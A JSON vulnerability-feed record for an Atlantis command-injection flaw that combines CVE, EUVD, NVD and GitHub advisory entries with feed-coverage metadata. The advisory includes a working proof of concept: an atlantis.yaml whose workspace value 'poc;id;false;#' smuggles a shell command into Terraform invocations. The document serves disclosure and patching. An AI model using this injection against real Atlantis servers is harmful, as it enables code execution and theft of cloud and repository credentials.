{"id":"CVE-2026-116676","revision":null,"records":[{"revision":"2c300828b83a48f3834bcb71a95a6f58","observedAt":"2026-10-27T18:43:43.015+00:00","statement":{"source":"cve-program","id":"CVE-2026-116676","aliases":[],"title":"Atlantis: OS command injection through PR-controlled Terraform workspace enables RCE during plan","description":"Atlantis is a self-hosted golang application that listens for Terraform pull request events via webhooks. From version 0.4.0 until 0.47.1, Atlantis passes the pull-request-controlled workspace value from atlantis.yaml into Terraform command arguments that are joined with strings.Join(args, \" \") and executed through sh -c. An authenticated contributor whose pull request is eligible for an Atlantis plan can include shell metacharacters in the workspace name, causing arbitrary commands to execute as the Atlantis service account without custom workflows, apply permission, or a malicious Terraform provider. External contributors can reach the flaw through fork pull requests only when --allow-fork-prs is enabled, while eligible same-repository branches do not require that option. The commands inherit the Atlantis process environment and can access cloud-provider, Terraform, and version-control credentials as well as files, state, and network resources available to the service. This issue is fixed in version 0.47.1.","state":0,"publishedAt":"2026-10-27T17:11:12.744+00:00","modifiedAt":"2026-10-27T17:11:12.744+00:00","affected":[{"ecosystem":"Vendor product","name":"atlantis","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"runatlantis\",\n                    \"product\": \"atlantis\",\n                    \"versions\": [\n                        {\n                            \"version\": \">= 0.4.0, < 0.47.1\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"severity":"HIGH"}],"references":["https://github.com/runatlantis/atlantis/security/advisories/GHSA-rjh2-4xgw-p2hj","https://github.com/runatlantis/atlantis/pull/6792","https://github.com/runatlantis/atlantis/commit/8dd22b4d0a9d7c129fdbf6a3398dd1c4cf8c3a59","https://github.com/runatlantis/atlantis/commit/f04df0d53f0544d9eb6f5026dd8b74fbefd82ac8","https://github.com/runatlantis/atlantis/releases/tag/v0.47.1"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-116676","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-116676","identifiers":["CVE-2026-116676"]},"retained":false,"historicalAffected":[]},{"revision":"c072a600e7c443b88b6cb151dfdd2041","observedAt":"2026-10-30T02:00:14.001+00:00","statement":{"source":"euvd","id":"EUVD-2026-111231","aliases":["CVE-2026-116676","GHSA-rjh2-4xgw-p2hj"],"title":"Atlantis is a self-hosted golang application that listens for Terraform pull request events via webhooks. From version 0.4.0 until 0.47.1, Atlantis passes the pull-request-controlled workspace value from atlantis.yaml into Terraform command…","description":"Atlantis is a self-hosted golang application that listens for Terraform pull request events via webhooks. From version 0.4.0 until 0.47.1, Atlantis passes the pull-request-controlled workspace value from atlantis.yaml into Terraform command arguments that are joined with strings.Join(args, \" \") and executed through sh -c. An authenticated contributor whose pull request is eligible for an Atlantis plan can include shell metacharacters in the workspace name, causing arbitrary commands to execute as the Atlantis service account without custom workflows, apply permission, or a malicious Terraform provider. External contributors can reach the flaw through fork pull requests only when --allow-fork-prs is enabled, while eligible same-repository branches do not require that option. The commands inherit the Atlantis process environment and can access cloud-provider, Terraform, and version-control credentials as well as files, state, and network resources available to the service. This issue is fixed in version 0.47.1.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"severity":null}],"references":["https://github.com/runatlantis/atlantis/security/advisories/GHSA-rjh2-4xgw-p2hj","https://github.com/runatlantis/atlantis/pull/6792","https://github.com/runatlantis/atlantis/commit/8dd22b4d0a9d7c129fdbf6a3398dd1c4cf8c3a59","https://github.com/runatlantis/atlantis/commit/f04df0d53f0544d9eb6f5026dd8b74fbefd82ac8","https://github.com/runatlantis/atlantis/releases/tag/v0.47.1"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-111231","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Oct 27, 2026, 5:11:12 PM","dateUpdated":"Oct 27, 2026, 5:11:12 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-111231","identifiers":["EUVD-2026-111231","CVE-2026-116676","GHSA-rjh2-4xgw-p2hj"]},"retained":false,"historicalAffected":[]},{"revision":"50cca4046c7e49a1bacd61da3844920f","observedAt":"2026-10-29T21:50:49.331+00:00","statement":{"source":"nvd","id":"CVE-2026-116676","aliases":[],"title":"Atlantis is a self-hosted golang application that listens for Terraform pull request events via webhooks. From version 0.4.0 until 0.47.1, Atlantis passes the pull-request-controlled workspace value from atlantis.yaml into Terraform command…","description":"Atlantis is a self-hosted golang application that listens for Terraform pull request events via webhooks. From version 0.4.0 until 0.47.1, Atlantis passes the pull-request-controlled workspace value from atlantis.yaml into Terraform command arguments that are joined with strings.Join(args, \" \") and executed through sh -c. An authenticated contributor whose pull request is eligible for an Atlantis plan can include shell metacharacters in the workspace name, causing arbitrary commands to execute as the Atlantis service account without custom workflows, apply permission, or a malicious Terraform provider. External contributors can reach the flaw through fork pull requests only when --allow-fork-prs is enabled, while eligible same-repository branches do not require that option. The commands inherit the Atlantis process environment and can access cloud-provider, Terraform, and version-control credentials as well as files, state, and network resources available to the service. This issue is fixed in version 0.47.1.","state":0,"publishedAt":"2026-10-27T18:17:35.22+00:00","modifiedAt":"2026-10-28T15:24:56.033+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"severity":"HIGH"}],"references":["https://github.com/runatlantis/atlantis/commit/8dd22b4d0a9d7c129fdbf6a3398dd1c4cf8c3a59","https://github.com/runatlantis/atlantis/commit/f04df0d53f0544d9eb6f5026dd8b74fbefd82ac8","https://github.com/runatlantis/atlantis/pull/6792","https://github.com/runatlantis/atlantis/releases/tag/v0.47.1","https://github.com/runatlantis/atlantis/security/advisories/GHSA-rjh2-4xgw-p2hj"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116676","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-78"],"productCriteria":[],"sourceDates":{"published":"2026-10-27T18:17:35.220","lastModified":"2026-10-28T15:24:56.033"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-116676","identifiers":["CVE-2026-116676"]},"retained":false,"historicalAffected":[]},{"revision":"40c026e192bc4d5fbcf0c0837218881a","observedAt":"2026-10-27T21:48:52.964+00:00","statement":{"source":"osv","id":"GHSA-rjh2-4xgw-p2hj","aliases":["CVE-2026-116676"],"title":"Atlantis: OS command injection through PR-controlled Terraform workspace enables RCE during plan","description":"### Summary\n\nAtlantis passes the Terraform `workspace` value from a pull request's `atlantis.yaml` into a shell command without quoting or escaping it.\n\nA contributor whose pull request is eligible for an Atlantis plan can include shell metacharacters in the workspace name and execute arbitrary commands as the Atlantis service account. This does not require custom workflows, `allow_custom_workflows`, or permission to run `terraform apply`.\n\nThe executed command inherits the Atlantis process environment, which commonly contains cloud-provider, Terraform, and VCS credentials.\n\n### Details\n\nVerified against current `upstream/main` commit `92ce5c51d1a050357e44df3535483425e59fa984` on August 13, 2026.\n\nThe vulnerable data flow is:\n\n1. The PR-controlled project workspace is validated in [`server/core/config/raw/project.go`](https://github.com/runatlantis/atlantis/blob/92ce5c51d1a050357e44df3535483425e59fa984/server/core/config/raw/project.go#L139-L149).\n\n   Validation rejects only `..`, `/`, and `\\`. Shell metacharacters such as `;`, `#`, `$`, redirections, and whitespace remain permitted.\n\n2. The workspace is passed directly as a Terraform command argument in [`server/core/runtime/workspace_step_runner_delegate.go`](https://github.com/runatlantis/atlantis/blob/92ce5c51d1a050357e44df3535483425e59fa984/server/core/runtime/workspace_step_runner_delegate.go#L86-L96):\n\n   ```go\n   []string{workspaceCmd, \"select\", ctx.Workspace}\n   ```\n\n3. Terraform arguments are concatenated into a single string using `strings.Join(args, \" \")` in [`server/core/terraform/tfclient/terraform_client.go`](https://github.com/runatlantis/atlantis/blob/92ce5c51d1a050357e44df3535483425e59fa984/server/core/terraform/tfclient/terraform_client.go#L451-L468):\n\n   ```go\n   tfCmd := fmt.Sprintf(\"%s %s\", binPath, strings.Join(args, \" \"))\n   ```\n\n4. The resulting string is executed through `sh -c` in [`server/core/terraform/tfclient/terraform_client.go`](https://github.com/runatlantis/atlantis/blob/92ce5c51d1a050357e44df3535483425e59fa984/server/core/terraform/tfclient/terraform_client.go#L416-L427):\n\n   ```go\n   cmd := exec.Command(\"sh\", \"-c\", tfCmd)\n   ```\n\nConsequently, a workspace such as:\n\n```text\npoc;id;false;#\n```\n\nproduces commands equivalent to:\n\n```sh\nterraform workspace select poc;id;false;#\nterraform workspace new poc;id;false;#\n```\n\n`raw.Project.Validate()` was confirmed to return no error for this workspace value.\n\nAtlantis documents that planning untrusted Terraform can already be dangerous because providers and external data sources execute code. The distinct issue here is that an ordinary project configuration field becomes shell source, bypassing the explicit `allow_custom_workflows` control and requiring no malicious provider, external data source, custom workflow, or apply operation.\n\nThe primary remediation should be to execute Terraform using an argument vector rather than constructing shell source—for example, `exec.Command(binaryPath, args...)`. Any required environment-variable expansion should be performed without invoking a shell. Strict workspace-name validation would also provide defense in depth.\n\n### PoC\n\nOnly reproduce this against a disposable Atlantis instance and test repository.\n\n#### Preconditions\n\n- Atlantis processes `atlantis.yaml` from the pull request branch.\n- The pull request is eligible to run `atlantis plan`.\n- For a fork pull request, the server must have `--allow-fork-prs` enabled. A same-repository branch does not require this flag.\n- No custom workflows or apply permissions are required.\n\n#### Repository contents\n\nCreate `main.tf`:\n\n```hcl\nterraform {\n  required_version = \">= 1.0\"\n}\n```\n\nCreate `atlantis.yaml`:\n\n```yaml\nversion: 3\nprojects:\n  - name: workspace-rce-poc\n    dir: .\n    workspace: \"poc;id;false;#\"\n    autoplan:\n      enabled: false\n```\n\nOpen a pull request containing these files and comment:\n\n```text\natlantis plan -p workspace-rce-poc\n```\n\n#### Expected result\n\nAtlantis first runs `terraform workspace select`. The injected `false` causes that command invocation to return an error, so Atlantis retries using `terraform workspace new`.\n\nOn both attempts, the shell executes `id` as a separate command. The second failure includes the combined command output in the Atlantis error response, exposing output similar to:\n\n```text\nuid=1000(atlantis) gid=1000(atlantis) groups=1000(atlantis)\n```\n\nThis demonstrates arbitrary shell-command execution without creating a custom workflow or reaching the apply phase.\n\nThe payload uses only `id` and `false` and does not access credentials, make network requests, or modify the host beyond Terraform potentially creating the disposable `poc` workspace.\n\n### Impact\n\nThis is an OS command injection vulnerability  resulting in remote code execution as the Atlantis service account.\n\nAffected deployments are those that:\n\n- Process pull-request-controlled `atlantis.yaml` project configuration; and\n- Permit the attacker-controlled pull request to trigger an Atlantis plan.\n\nPotential consequences include:\n\n- Reading and exfiltrating cloud-provider, Terraform, and VCS credentials inherited from the Atlantis process.\n- Accessing Terraform state, plan files, repository checkouts, caches, and other data available to the Atlantis user.\n- Modifying files or binaries accessible to the service account.\n- Making network requests using the Atlantis server's network identity.\n- Pivoting into infrastructure accessible through the server's credentials or network placement.\n\nFor public repositories, arbitrary external contributors are directly exposed when `--allow-fork-prs` is enabled. Without fork PR support, the vulnerable population includes users able to create eligible same-repository pull requests and attackers controlling such accounts.","state":0,"publishedAt":"2026-10-27T21:04:50+00:00","modifiedAt":"2026-10-27T21:15:03.7944521+00:00","affected":[{"ecosystem":"Go","name":"github.com/runatlantis/atlantis","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0.4.0"},{"kind":"fixed","version":"0.47.1"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/runatlantis/atlantis/security/advisories/GHSA-rjh2-4xgw-p2hj","https://nvd.nist.gov/vuln/detail/CVE-2026-116676","https://github.com/runatlantis/atlantis/pull/6792","https://github.com/runatlantis/atlantis/commit/8dd22b4d0a9d7c129fdbf6a3398dd1c4cf8c3a59","https://github.com/runatlantis/atlantis/commit/f04df0d53f0544d9eb6f5026dd8b74fbefd82ac8","https://github.com/runatlantis/atlantis","https://github.com/runatlantis/atlantis/releases/tag/v0.47.1"],"sourceUrl":"https://github.com/advisories/GHSA-rjh2-4xgw-p2hj","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-rjh2-4xgw-p2hj","identifiers":["GHSA-rjh2-4xgw-p2hj","CVE-2026-116676"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-10-30T19:45:46.8102278+00:00","complete":true,"records":1766,"lastAttemptAt":"2026-10-30T19:45:46.8102278+00:00","lastSuccessAt":"2026-10-30T19:45:46.9736724+00:00","error":null,"lastVerifiedAt":"2026-10-30T19:45:46.9736729+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-7e2c4e7288f2c464ad8c61f3bb6017374714faedcc781283ac06a706ee1a820b-fe2415543f6176e43180f3324a663ce61f6ebd2e6917542e40176ff2e9495143","complete":true,"records":417364,"lastAttemptAt":"2026-10-30T19:45:36.586101+00:00","lastSuccessAt":"2026-10-30T19:45:36.3062344+00:00","error":null,"lastVerifiedAt":"2026-10-30T19:45:36.586101+00:00","snapshotPublishedAt":"2026-10-30T19:18:05+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-a6f2fd6d463d4f0fa07b813d92e95b44","complete":false,"records":13527,"lastAttemptAt":"2026-10-30T19:57:39.2011254+00:00","lastSuccessAt":"2026-10-30T19:57:39.197+00:00","error":"74 identifier lookups failed; latest failures include HTTP 403. Other identifiers were checked independently.","lastVerifiedAt":"2026-10-30T19:57:39.197+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":12474,"expectedIdentifiers":13605,"failedIdentifiers":74},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-10-30T19:45:46.8102278+00:00","complete":true,"records":1094,"lastAttemptAt":"2026-10-30T19:45:46.8102278+00:00","lastSuccessAt":"2026-10-30T19:45:46.974479+00:00","error":null,"lastVerifiedAt":"2026-10-30T19:45:46.974479+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-6bce51b063124715a481c34785f7e75c","complete":true,"records":13545,"lastAttemptAt":"2026-10-30T19:46:12.1759308+00:00","lastSuccessAt":"2026-10-30T19:46:12.173+00:00","error":null,"lastVerifiedAt":"2026-10-30T19:46:12.173+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13605,"expectedIdentifiers":13605,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-311dd376326605484703c43905ee6a0126d56b980059b1c691182fb1a6e71c84","complete":true,"records":9808,"lastAttemptAt":"2026-10-30T19:45:46.756792+00:00","lastSuccessAt":"2026-10-30T19:45:46.4838995+00:00","error":null,"lastVerifiedAt":"2026-10-30T19:45:46.756792+00:00","snapshotPublishedAt":"2026-10-30T18:48:16+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-2de9ccc5290f060c7aa63f89c25dd76f655a64ba1aba7c05c97fa3bee4f09899","complete":true,"records":1967,"lastAttemptAt":"2026-10-30T19:45:36.74539+00:00","lastSuccessAt":"2026-10-28T20:55:34.2982937+00:00","error":null,"lastVerifiedAt":"2026-10-30T19:45:36.74539+00:00","snapshotPublishedAt":"2026-10-28T20:03:08+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-f7956b0b80c3f12706a4454a1e0aea0c83c0a5730f2cff4597eb5c4eedd05097","complete":true,"records":3023,"lastAttemptAt":"2026-10-30T19:45:46.7721443+00:00","lastSuccessAt":"2026-10-30T17:47:18.9941876+00:00","error":null,"lastVerifiedAt":"2026-10-30T19:45:46.7721443+00:00","snapshotPublishedAt":"2026-10-30T15:48:06+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-a12b17cc91216d5a280d5a5e257a4bc61a7e8824cd7f389e730ce6d1147fa887","complete":true,"records":230969,"lastAttemptAt":"2026-10-30T19:45:36.8513477+00:00","lastSuccessAt":"2026-10-30T18:47:14.1288263+00:00","error":null,"lastVerifiedAt":"2026-10-30T19:45:36.8513477+00:00","snapshotPublishedAt":"2026-10-30T18:33:11+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}